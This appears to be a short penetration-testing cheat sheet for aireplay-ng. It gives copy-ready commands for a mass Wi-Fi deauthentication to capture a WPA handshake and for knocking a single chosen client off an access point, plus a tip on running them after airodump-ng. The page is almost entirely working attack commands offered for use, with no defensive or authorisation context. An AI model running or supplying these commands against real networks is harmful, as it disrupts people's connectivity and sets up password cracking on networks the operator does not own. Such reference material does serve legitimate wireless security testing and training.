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aireplay-ng
aireplay-ng "is used to inject frames."
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Start a mass disassociation to capture wifi handshake
TIP
This is helpful to do after you've enumerated the wifi access points using airodump-ng
sudo aireplay-ng --deauth 100 -a 00:11:22:33:44:55 mon0
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Disassociate a particular client from the access point
From your airodump-ng console, look at connected clients and then target one for disconnection with -c:
sudo aireplay-ng --deauth 100 -a 00:11:22:33:44:55 -c 12:12:12:12:12:12 mon0